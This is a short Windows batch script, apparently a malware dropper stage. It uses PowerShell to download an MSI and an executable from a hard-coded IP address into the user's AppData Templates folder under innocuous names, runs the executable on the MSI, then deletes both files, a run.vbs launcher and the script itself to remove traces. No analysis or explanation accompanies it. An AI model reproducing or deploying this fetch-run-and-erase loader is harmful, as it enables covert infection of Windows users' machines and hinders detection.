@echo off
cd %appdata%\Microsoft\Templates
Powershell -Command "Invoke-WebRequest 'http://54.177.246.246/t.msi' -OutFile pearl.msi"
Powershell -Command "Invoke-WebRequest 'http://54.177.246.246/a.exe' -OutFile nora.exe"
cd %appdata%\Microsoft\Templates
.\nora.exe 41 %appdata%\Microsoft\Templates\pearl.msi
timeout /t 30 /nobreak
cd %appdata%\Microsoft\Templates
Powershell -Command "Remove-Item 'nora.exe'"
Powershell -Command "Remove-Item 'pearl.msi'"
cd %appdata%
Powershell -Command "Remove-Item 'C:\Users\user\AppData\Roaming\run.vbs'"
del %0